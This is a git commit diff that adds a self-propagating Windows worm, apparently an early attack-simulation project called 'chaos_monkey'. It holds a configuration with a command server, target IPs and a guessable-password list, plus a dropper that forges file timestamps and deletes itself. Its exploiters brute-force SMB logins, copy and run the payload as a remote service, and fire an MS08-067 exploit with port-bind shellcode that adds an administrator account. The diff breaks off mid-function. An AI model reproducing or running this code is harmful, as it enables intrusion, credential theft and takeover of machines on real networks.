first commit

This commit is contained in:
Itamar Tal 2015-08-30 10:27:35 +03:00
parent 73b4647c23
commit 120d259b65
35 changed files with 1830 additions and 0 deletions

1
__init__.py Normal file
View File

@ -0,0 +1 @@
__author__ = 'itamar'

1
chaos_monkey/__init__.py Normal file
View File

@ -0,0 +1 @@
__author__ = 'itamar'

View File

@ -0,0 +1,2 @@
c:\Python27\python -m PyInstaller.main --name monkey -F -y --clean -i monkey.ico main.py
move /Y dist\monkey.exe "%allusersprofile%\desktop\monkey.exe"

View File

@ -0,0 +1,3 @@
c:\Python27\python -m PyInstaller.main --name monkey -F -y --clean -i monkey.ico main.py
move /Y dist\monkey.exe "%allusersprofile%\desktop\monkey.exe"
"%allusersprofile%\desktop\monkey.exe" m0nk3y

84
chaos_monkey/config.py Normal file
View File

@ -0,0 +1,84 @@
import os
import sys
import ntpath
from network.range import ClassCRange, RelativeRange, FixedRange
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter
from network import TcpScanner, PingScanner
__author__ = 'itamar'
class WormConfiguration(object):
###########################
### logging config
###########################
use_file_logging = True
dropper_log_path = os.path.expandvars("%temp%\~df1562.tmp")
monkey_log_path = os.path.expandvars("%temp%\~df1563.tmp")
###########################
### dropper config
###########################
dropper_try_move_first = sys.argv[0].endswith(".exe")
dropper_set_date = True
dropper_date_reference_path = r"\windows\system32\kernel32.dll"
dropper_target_path = ntpath.join(r"C:\Windows", ntpath.split(sys.argv[0])[-1])
###########################
### monkey config
###########################
singleton_mutex_name = "{2384ec59-0df8-4ab9-918c-843740924a28}"
# how long to wait between scan iterations
timeout_between_iterations = 10
# how many scan iterations to perform on each run
max_iterations = 2
scanner_class = TcpScanner
exploiter_classes = WmiExploiter, SmbExploiter, Ms08_067_Exploiter
# how many victims to look for in a single scan iteration
victims_max_find = 14
# how many victims to exploit before stopping
victims_max_exploit = 7
command_server = "russian-mail-brides.com"
###########################
### scanners config
###########################
#range_class = RelativeRange
#range_size = 8
range_class = FixedRange
range_fixed = ("192.168.122.15", "192.168.122.17", "192.168.122.14", "192.168.122.9",
"192.168.144.8", "192.168.144.11", "192.168.144.12",
"192.168.166.10", "192.168.166.12", "192.168.166.11")
# TCP Scanner
tcp_target_ports = [445, 135]
tcp_scan_timeout = 1000 # 1000 Milliseconds
tcp_scan_interval = 200
# Ping Scanner
ping_scan_timeout = 1000
###########################
### exploiters config
###########################
skip_exploit_if_file_exist = True
ms08_067_exploit_attempts = 5
ms08_067_remote_user_add = "IUSER_SUPPORT"
ms08_067_remote_user_pass = "Password1!"
# psexec exploiter
psexec_user = "Administrator"
psexec_passwords = ["1234", "password", "Password1!", "password", "12345678"]

31
chaos_monkey/control.py Normal file
View File

@ -0,0 +1,31 @@
import json
import random
import logging
import requests
from config import WormConfiguration
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class ControlClient(object):
@staticmethod
def get_control_config():
try:
reply = requests.get("http://%s/orders/%s" % (WormConfiguration.command_server,
"".join([chr(random.randint(0,255)) for _ in range(32)]).encode("base64").strip()))
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.command_server, exc)
return {}
try:
return json.loads(reply._content)
except ValueError, exc:
LOG.warn("Error parsing JSON reply from control server %s (%s): %s",
WormConfiguration.command_server, reply._content, exc)
return {}

121
chaos_monkey/dropper.py Normal file
View File

@ -0,0 +1,121 @@
import os
import sys
import time
import ctypes
import shutil
import pprint
import logging
import subprocess
from ctypes import c_char_p
from win32process import DETACHED_PROCESS
from control import ControlClient
from model import MONKEY_CMDLINE
from config import WormConfiguration
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
MOVEFILE_DELAY_UNTIL_REBOOT = 4
class MonkeyDrops(object):
def __init__(self, args):
if 1 < len(args):
LOG.debug("Invalid arguments count for dropper")
raise ValueError("Invalid arguments count for dropper")
if args:
dest_path = os.path.expandvars(args[0])
else:
dest_path = os.path.expandvars(WormConfiguration.dropper_target_path)
self._config = {'source_path': os.path.abspath(sys.argv[0]),
'destination_path': args[0]}
def initialize(self):
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
new_config = ControlClient.get_control_config()
def start(self):
# we copy/move only in case path is different
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
# first try to move the file
if not file_moved and WormConfiguration.dropper_try_move_first:
try:
shutil.move(self._config['source_path'],
self._config['destination_path'])
LOG.info("Moved source file '%s' into '%s'",
self._config['source_path'], self._config['destination_path'])
file_moved = True
except (WindowsError, IOError, OSError), exc:
LOG.debug("Error moving source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
exc)
# if file still need to change path, copy it
if not file_moved:
try:
shutil.copy(self._config['source_path'],
self._config['destination_path'])
LOG.info("Copied source file '%s' into '%s'",
self._config['source_path'], self._config['destination_path'])
except (WindowsError, IOError, OSError), exc:
LOG.error("Error copying source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
exc)
return False
if WormConfiguration.dropper_set_date:
try:
ref_stat = os.stat(WormConfiguration.dropper_date_reference_path)
except:
LOG.warn("Cannot set reference date using '%s', file not found",
WormConfiguration.dropper_date_reference_path)
else:
try:
os.utime(self._config['destination_path'],
(ref_stat.st_atime, ref_stat.st_mtime))
except:
LOG.warn("Cannot set reference date to destination file")
monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'],
}
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
stdin=None, stdout=None, stderr=None,
close_fds=True, creationflags=DETACHED_PROCESS)
LOG.info("Executed monkey process (PID=%d) with command line: %s",
monkey_process.pid, monkey_cmdline)
time.sleep(3)
if monkey_process.poll() is not None:
LOG.warn("Seems like monkey died too soon")
def cleanup(self):
if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
os.path.exists(self._config['source_path']) and \
WormConfiguration.dropper_try_move_first:
# try removing the file first
try:
os.remove(self._config['source_path'])
except Exception, exc:
LOG.debug("Error removing source file '%s': %s",
self._config['source_path'], exc)
# mark the file for removal on next boot
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
if 0 == ctypes.windll.kernel32.MoveFileExA( dropper_source_path_ctypes, None,
MOVEFILE_DELAY_UNTIL_REBOOT):
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
else:
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
self._config['source_path'])

View File

@ -0,0 +1,15 @@
from abc import ABCMeta, abstractmethod
__author__ = 'itamar'
class HostExploiter(object):
__metaclass__ = ABCMeta
@abstractmethod
def exploit_host(self, host):
raise NotImplementedError()
from win_ms08_067 import Ms08_067_Exploiter
from wmiexec import WmiExploiter
from smbexec import SmbExploiter

View File

@ -0,0 +1,77 @@
import socket
from rdpy.protocol.rdp import rdp
from twisted.internet import reactor
__author__ = 'itamar'
class RDPClient(rdp.RDPClientObserver):
def __init__(self, controller, width, height):
super(RDPClient, self).__init__(controller)
self._width = width
self._height = height
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
print "onUpdate", destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, len(data)
def onReady(self):
"""
@summary: Call when stack is ready
"""
print "onReady"
def onClose(self):
"""
@summary: Call when stack is close
"""
print "onClose"
def closeEvent(self, e):
print "closeEvent", e
class RDPClientFactory(rdp.ClientFactory):
def __init__(self):
self._username = "Administrator"
self._password = "Password1!"
self._domain = ""
self._keyboard_layout = "en"
self._optimized = False
self._security = "rdp" # "ssl"
self._width = 200
self._height = 200
def __repr__(self):
return "<RDPClientFactory %dx%d>" % (self._width, self._height)
def buildObserver(self, controller, addr):
"""
@summary: Build RFB observer
We use a RDPClient as RDP observer
@param controller: build factory and needed by observer
@param addr: destination address
@return: RDPClientQt
"""
#create client observer
self._client = RDPClient(controller, self._width, self._height)
controller.setUsername(self._username)
controller.setPassword(self._password)
controller.setDomain(self._domain)
controller.setKeyboardLayout(self._keyboard_layout)
controller.setHostname(socket.gethostname())
if self._optimized:
controller.setPerformanceSession()
controller.setSecurityLevel(self._security)
return self._client
reactor.connectTCP("10.0.0.1", 3389, RDPClientFactory())
reactor.run()

View File

@ -0,0 +1,131 @@
#!/usr/bin/env python
#############################################################################
# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
# www.hackingspirits.com
# www.coffeeandsecurity.com
# Email: d3basis.m0hanty @ gmail.com
#############################################################################
import sys
from logging import getLogger
from model.host import VictimHost
from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
from exploit import HostExploiter
from exploit.tools import SmbTools
try:
from impacket import smb
from impacket import uuid
from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3
except ImportError, exc:
print str(exc)
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
LOG = getLogger(__name__)
class SmbExploiter(HostExploiter):
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
USE_KERBEROS = False
def __init__(self):
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, src_path):
assert isinstance(host, VictimHost)
passwords = list(self._config.psexec_passwords[:])
known_password = host.get_credentials(self._config.psexec_user)
if known_password is not None:
if known_password in passwords:
passwords.remove(known_password)
passwords.insert(0, known_password)
exploited = False
for password in passwords:
try:
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
self._config.psexec_user,
password,
src_path,
self._config.dropper_target_path)
if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
host, self._config.psexec_user, password)
host.learn_credentials(self._config.psexec_user, password)
exploited = True
break
except Exception, exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host,
self._config.psexec_user, password, exc)
continue
if not exploited:
LOG.debug("Exploiter SmbExec is giving up...")
return False
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE_DETACHED % {'dropper_path': remote_full_path}
else:
cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path}
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr, ))
rpctransport.set_dport(port)
if hasattr(rpctransport,'preferred_dialect'):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self._config.psexec_user, password, host.ip_addr,
"", "", None)
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
scmr_rpc = rpctransport.get_dce_rpc()
try:
scmr_rpc.connect()
except Exception, exc:
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
host, exc)
return False
smb_conn = rpctransport.get_smb_connection()
# We don't wanna deal with timeouts from now on.
smb_conn.setTimeout(100000)
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(scmr_rpc)
sc_handle = resp['lpScHandle']
# start the monkey using the SCM
resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, "Chaos Monkey", "Chaos Monkey",
lpBinaryPathName=cmdline)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(scmr_rpc, service)
except:
pass
scmr.hRDeleteService(scmr_rpc, service)
scmr.hRCloseServiceHandle(scmr_rpc, service)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, host, cmdline)
return True

View File

@ -0,0 +1,344 @@
import os
import ntpath
import pprint
import logging
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.smbconnection import SMBConnection, SMB_DIALECT
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import Exception as DceRpcException
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class AccessDeniedException(Exception):
def __init__(self, host, username, password, domain):
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
(host, domain, username, password))
class WmiTools(object):
class WmiConnection(object):
def __init__(self):
self._dcom = None
self._iWbemServices = None
@property
def connected(self):
return self._dcom is not None
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
if not domain:
domain = host.ip_addr
dcom = DCOMConnection(host.ip_addr,
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
oxidResolver=True)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
except DceRpcException, exc:
dcom.disconnect()
if "rpc_s_access_denied" == exc.message:
raise AccessDeniedException(host, username, password, domain)
raise
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
try:
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
self._dcom = dcom
except:
dcom.disconnect()
raise
finally:
iWbemLevel1Login.RemRelease()
def close(self):
assert self.connected, "WmiConnection isn't connected"
self._iWbemServices.RemRelease()
self._iWbemServices = None
self._dcom.disconnect()
self._dcom = None
@staticmethod
def dcom_wrap(func):
def _wrapper(*args, **kwarg):
try:
return func(*args, **kwarg)
finally:
WmiTools.dcom_cleanup()
return _wrapper
@staticmethod
def dcom_cleanup():
for port_map in DCOMConnection.PORTMAPS.keys():
del DCOMConnection.PORTMAPS[port_map]
for oid_set in DCOMConnection.OID_SET.keys():
del DCOMConnection.OID_SET[port_map]
DCOMConnection.OID_SET = {}
DCOMConnection.PORTMAPS = {}
if DCOMConnection.PINGTIMER:
DCOMConnection.PINGTIMER.cancel()
DCOMConnection.PINGTIMER.join()
DCOMConnection.PINGTIMER = None
@staticmethod
def get_object(wmi_connection, object_name):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
return wmi_connection._iWbemServices.GetObject(object_name)[0]
@staticmethod
def list_object(wmi_connection, object_name, fields=None, where=None):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
if fields:
fields_query = ",".join(fields)
else:
fields_query = "*"
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
if where:
wql_query += " WHERE %s" % (where, )
LOG.debug("Execution WQL query: %r", wql_query)
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
query = []
try:
while True:
try:
next_item = iEnumWbemClassObject.Next(0xffffffff,1)[0]
record = next_item.getProperties()
if not fields:
fields = record.keys()
query_record = {}
for key in fields:
query_record[key] = record[key]['value']
query.append(query_record)
except DCERPCSessionError, exc:
if 1 == exc.error_code:
break
raise
finally:
iEnumWbemClassObject.RemRelease()
return query
class SmbTools(object):
@staticmethod
def copy_file(host, username, password, src_path, dst_path):
assert os.path.isfile(src_path), "Source file to copy (%s) is missing" % (src_path, )
config = __import__('config').WormConfiguration
src_file_size = os.stat(src_path).st_size
smb, dialect = SmbTools.new_smb_connection(host, username, password)
if not smb:
return None
# skip guest users
if smb.isGuestSession() > 0:
LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges",
host, username, password)
try: smb.logoff()
except: pass
return None
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
except Exception, exc:
LOG.debug("Error requesting server info from %r over SMB: %s",
host, exc)
return None
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
LOG.debug("Connected to %r using %s:\n%s",
host, dialect, pprint.pformat(info))
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
except Exception, exc:
LOG.debug("Error enumerating server shares from %r over SMB: %s",
host, exc)
return None
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
high_priority_shares = ()
low_priority_shares = ()
file_name = ntpath.split(dst_path)[-1]
for i in range(len(resp)):
share_name = resp[i]['shi2_netname'].strip("\0 ")
share_path = resp[i]['shi2_path'].strip("\0 ")
current_uses = resp[i]['shi2_current_uses']
max_uses = resp[i]['shi2_max_uses']
if current_uses >= max_uses:
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
share_name, host)
continue
elif not share_path:
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
share_name, host)
continue
share_info = {'share_name': share_name,
'share_path': share_path}
if dst_path.lower().startswith(share_path.lower()):
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info), )
low_priority_shares += ((ntpath.sep + file_name, share_info), )
shares = high_priority_shares + low_priority_shares
file_uploaded = False
for remote_path, share in shares:
share_name = share['share_name']
share_path = share['share_path']
if not smb:
smb, _ = SmbTools.new_smb_connection(host, username, password)
if not smb:
return None
try:
tid = smb.connectTree(share_name)
except Exception, exc:
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
share_name, host, exc)
continue
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
share_name, share_path, remote_path, host)
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
# check if file is found on destination
if config.skip_exploit_if_file_exist:
try:
file_info = smb.listPath(share_name, remote_path)
if file_info:
if src_file_size == file_info[0].get_filesize():
LOG.debug("Remote monkey file is same as source, skipping copy")
return None
LOG.debug("Remote monkey file is found but different, moving along with attack")
except:
pass # file isn't found on remote victim, moving on
try:
with open(src_path, 'rb') as source_file:
smb.putFile(share_name, remote_path, source_file.read)
file_uploaded = True
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
src_path, share_name, share_path, host)
break
except Exception, exc:
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
share_name, host, exc)
continue
finally:
try: smb.logoff()
except: pass
smb = None
if not file_uploaded:
LOG.debug("Couldn't find a writable share for exploiting"
" victim %r with username %s and password '%s'",
host, username, password)
return None
return remote_full_path
@staticmethod
def new_smb_connection(host, username, password):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception, exc:
LOG.debug("SMB connection to %r on port 445 failed,"
" trying port 139 (%s)", host, exc)
try:
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
except Exception, exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
host, exc)
return None, None
dialect = {SMB_DIALECT: "SMBv1",
SMB2_DIALECT_002: "SMBv2.0",
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
# we know this should work because the WMI connection worked
try:
smb.login(username, password, domain=host.ip_addr)
except Exception, exc:
LOG.debug("Error while loging into %r using user %s and password '%s': %s",
host, username, password, exc)
return None, dialect
return smb, dialect
@staticmethod
def execute_rpc_call(smb, rpc_func, *args):
dce = SmbTools.get_dce_bind(smb)
rpc_method_wrapper = getattr(srvs, rpc_func, None)
if not rpc_method_wrapper:
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper, ))
return rpc_method_wrapper(dce, *args)
@staticmethod
def get_dce_bind(smb):
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
smb.getRemoteHost(),
filename=r'\srvsvc',
smb_connection=smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
return dce

View File

@ -0,0 +1,238 @@
#!/usr/bin/env python
#############################################################################
# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
# www.hackingspirits.com
# www.coffeeandsecurity.com
# Email: d3basis.m0hanty @ gmail.com
#############################################################################
import sys
import time
import socket
from enum import IntEnum
from logging import getLogger
from model.host import VictimHost
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
from exploit import HostExploiter
from exploit.tools import SmbTools
try:
from impacket import smb
from impacket import uuid
from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
from impacket.smbconnection import SessionError as SessionError1
from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3
except ImportError, exc:
print str(exc)
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
LOG = getLogger(__name__)
# Portbind shellcode from metasploit; Binds port to TCP port 4444
SHELLCODE = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
SHELLCODE += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
SHELLCODE += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
SHELLCODE += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
SHELLCODE += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
SHELLCODE += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
SHELLCODE += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
SHELLCODE += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
SHELLCODE += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
SHELLCODE += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
SHELLCODE += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
SHELLCODE += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
SHELLCODE += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
SHELLCODE += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
SHELLCODE += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
SHELLCODE += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
SHELLCODE += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
SHELLCODE += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
SHELLCODE += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
SHELLCODE += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
# Payload for Windows 2000 target
PAYLOAD_2000 ='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
PAYLOAD_2000 += '\x41\x41'
PAYLOAD_2000 += '\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\xeb\xcc'
PAYLOAD_2000 += '\x00\x00'
# Payload for Windows 2003[SP2] target
PAYLOAD_2003 ='\x41\x00\x5c\x00'
PAYLOAD_2003 += '\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
PAYLOAD_2003 += '\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
PAYLOAD_2003 += '\x8b\xc4\x66\x05\x60\x04\x8b\x00'
PAYLOAD_2003 += '\x50\xff\xd6\xff\xe0\x42\x84\xae'
PAYLOAD_2003 += '\xbb\x77\xff\xff\xff\xff\x01\x00'
PAYLOAD_2003 += '\x01\x00\x01\x00\x01\x00\x43\x43'
PAYLOAD_2003 += '\x43\x43\x37\x48\xbb\x77\xf5\xff'
PAYLOAD_2003 += '\xff\xff\xd1\x29\xbc\x77\xf4\x75'
PAYLOAD_2003 += '\xbd\x77\x44\x44\x44\x44\x9e\xf5'
PAYLOAD_2003 += '\xbb\x77\x54\x13\xbf\x77\x37\xc6'
PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00'
class WindowsVersion(IntEnum):
Windows2000 = 1
Windows2003_SP2 = 2
class SRVSVC_Exploit(object):
TELNET_PORT = 4444
def __init__(self, target_addr, os_version=WindowsVersion.Windows2003_SP2, port=445):
self._port = port
self._target = target_addr
self._payload = PAYLOAD_2000 if WindowsVersion.Windows2000 == os_version else PAYLOAD_2003
def get_telnet_port(self):
"""get_telnet_port()
The port on which the Telnet service will listen.
"""
return SRVSVC_Exploit.TELNET_PORT
def start(self):
"""start() -> socket
Exploit the target machine and return a socket connected to it's
listening Telnet service.
"""
target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target
LOG.debug("Initiating exploit connection (%s)", target_rpc_name)
self._trans = transport.DCERPCTransportFactory(target_rpc_name)
self._trans.connect()
LOG.debug("Connected to %s", target_rpc_name)
self._dce = self._trans.DCERPC_class(self._trans)
self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
dce_packet = self._build_dce_packet()
self._dce.call(0x1f, dce_packet) #0x1f (or 31)- NetPathCanonicalize Operation
LOG.debug("Exploit sent to %s successfully...", self._target)
LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
sock = socket.socket()
sock.connect((self._target, self.get_telnet_port()))
return sock
def _build_dce_packet(self):
# Constructing Malicious Packet
dce_packet = '\x01\x00\x00\x00'
dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
dce_packet += SHELLCODE
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x00\x00\x00\x00'
dce_packet += '\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
dce_packet += self._payload
dce_packet += '\x00\x00\x00\x00'
dce_packet += '\x02\x00\x00\x00\x02\x00\x00\x00'
dce_packet += '\x00\x00\x00\x00\x02\x00\x00\x00'
dce_packet += '\x5c\x00\x00\x00\x01\x00\x00\x00'
dce_packet += '\x01\x00\x00\x00'
return dce_packet
class Ms08_067_Exploiter(HostExploiter):
def __init__(self):
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, src_path):
assert isinstance(host, VictimHost)
exploited = False
for _ in range(self._config.ms08_067_exploit_attempts):
exploit = SRVSVC_Exploit(target_addr=host.ip_addr)
try:
sock = exploit.start()
sock.send("cmd /c (net user %s %s /add) &&"
" (net localgroup administrators %s /add)\r\n" % \
(self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass,
self._config.ms08_067_remote_user_add))
time.sleep(2)
reply = sock.recv(1000)
LOG.debug("Exploited into %r using MS08-067", host)
exploited = True
break
except Exception, exc:
LOG.debug("Error exploiting victim %r: (%s)", host, exc)
continue
if not exploited:
LOG.debug("Exploiter MS08-067 is giving up...")
return False
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass,
src_path,
self._config.dropper_target_path)
if not remote_full_path:
# try other passwords for administrator
for password in self._config.psexec_passwords:
remote_full_path = SmbTools.copy_file(host,
"Administrator",
password,
src_path,
self._config.dropper_target_path)
if remote_full_path:
break
if not remote_full_path:
return False
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower():
